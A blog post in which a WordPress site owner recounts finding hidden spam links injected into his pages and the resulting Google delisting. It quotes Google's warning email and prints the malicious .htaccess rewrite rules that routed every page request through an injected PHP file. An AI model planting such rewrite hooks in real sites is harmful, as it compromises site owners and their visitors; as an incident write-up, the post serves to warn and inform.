*** UPDATE: Google have now re-instated TechHead into their search results and it’s business as usual –Thanks”

I don’t know whether to take it as a complement that someone has deemed the site worthy of hacking (though I have confirmed that this wasn’t the case) or, as I suspect, it was just a victim of a mass vulnerability exploit via a rogue plug-in.  It has been an ‘interesting’ 24 or so hours trying to get to the bottom of what has been going on with the TechHead site.

The first signs that something wasn’t quite right was during the week when I was unable to get a list of my posts or pages via the WordPress web interface.  All I was getting was the following:

As you can see WordPress still knew there were posts there as it gave the number that had been published, etc and everything was still being displayed on the site though it just wouldn’t present me with a list of my blogs articles or static pages for editing. 

A bit worrying!  At this stage I suspected that there may be some database corruption and that I’d have to roll back to a database backup.  Though everything on the exterior was still working just fine so I was hesitant to touch anything.

On Friday evening I received the following email (I checked first that it was legitimate) from Google – this is when I knew that something larger was afoot!

Dear site owner or webmaster of techhead.co.uk,

While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.
The following is some example hidden text we found at http://www.techhead.co.uk/building-a-low-cost-cheap-vmware-esx-test-server:
between coke zero diet coke kosher passover coke in the coconut coke why is coke better than diet coke mentos video diet coke 2007 publishing a podcast on coke mentos girl codes from coke

In order to preserve the quality of our search engine, pages from techhead.co.uk are scheduled to be removed temporarily from our search results for at least 30 days.

We would prefer to keep your pages in Google’s index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.

Sincerely, Google Search Quality Team

At receiving this I promptly headed over to the page Google had highlighted and had a look.  Hmm, there was no sign of any text relating to ‘coke’, etc in either the body of the article or in the comments section where I was expecting to see it.

I then had a look in the source of the page and low and behold I was greeted with a huge list of unrelated site links embedded into the body (though hidden) of the page. We are probably talking at least 50 site links to really random type sites (surprisingly not all to p0rn or viagra sites)! 

How did they get there?

I ran a query on Google to see how many of my other pages (according to Google) had this text inserted into it. 

Houston.. We have a serious problem… (this was page 1 of 4!).

I should point out that the purpose of this exploit is to have the sites listed (albeit hidden) on as many websites as possible so this will increase their ranking in the Google search results (ie: Google bot comes back from searching the web and thinks, hmm.. this site must be really popular as it is referenced in a lot of places.  As it’s that popular I’ll increase its position in the Google search results.

Next I checked the post contents in my WordPress database using phpAdmin and was relieved to find that none of these articles contained any of the rogue links or ‘coke’ type keywords.  This was a good thing as it meant that these links were being injected into the site sometime during the dynamic page creation process.

I then went to have a look at the .htaccess file for the site and found the following:

Options +FollowSymLinks

RewriteEngine On
RewriteCond <siteinfo>/public_html//_files/incladd.php -f
RewriteCond %{REQUEST_URI} !incladd.php$
RewriteCond %{REQUEST_URI} !166df7.php$
RewriteRule ^.*\.(php[s345]?|[ps]?html?).*$ /_files/incladd.php?file=%{SCRIPT_FILENAME}&%{QUERY_STRING} [NC,L]

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Problem found!  As you can see the first part of the file was calling a file located in the ‘_files’ directory which in turn was calling a list of sites which we subsequently inserted into my pages when they were dynamically created.

Upon removal of this rogue directly and these lines of code my site was back to normal again with no unpermitted site links hidden in the source code of the page and also I could once again see my list of posts and pages within the WordPress interface – hooray!  Everything was back normal.

I had been trialling a number of different WordPress plug-ins recently, a couple of which never appeared to work – I highly suspect that one of these was in fact compromised or an engineered exploit and by installing it I had in fact installed this hidden sites injection exploit.

I am very good at keeping TechHead fully patched and follow the standard security best practices recommended for WordPress though after this I have taken further (maybe a little over the top) precautions to reduce the risk of something like this from happening again. 

The main lesson learnt for me though is to be extremely cautious with any plug-ins I install and to audit them carefully before applying them as this will circumvent any of the good security best practices I have already put in place for the site.

Though unfortunately my dilemma doesn’t end there.  TechHead is all back and running exploit free though in the meantime Google have followed through with their threat of removing my site from their index and as a result TechHead.co.uk no longer features on any of its searches.  Needless to say this accounts for a fair old chunk of my daily traffic.  I have contacted them to inform them that the exploit has been fixed and that I have taken steps to stop it from happening again though the automated email I had back informed me that it can take up to 2 weeks before they look at my request for re-instatement.  Doh!  It’s going to be real quite around here for a while.

It is really annoying that this exploit can have such an affect on the site though I thought I’d share my experience to warn others to keep their WordPress blogs fully patched and to look out for any dodgy plug-ins. I totally appreciate why Google has done it and thanks to them in the first place for pointing me in the right direction.  I will obviously continue business as usual in the meantime as I have a great bunch of people that have TechHead book marked and are regulars.  As always a big thanks to you all !!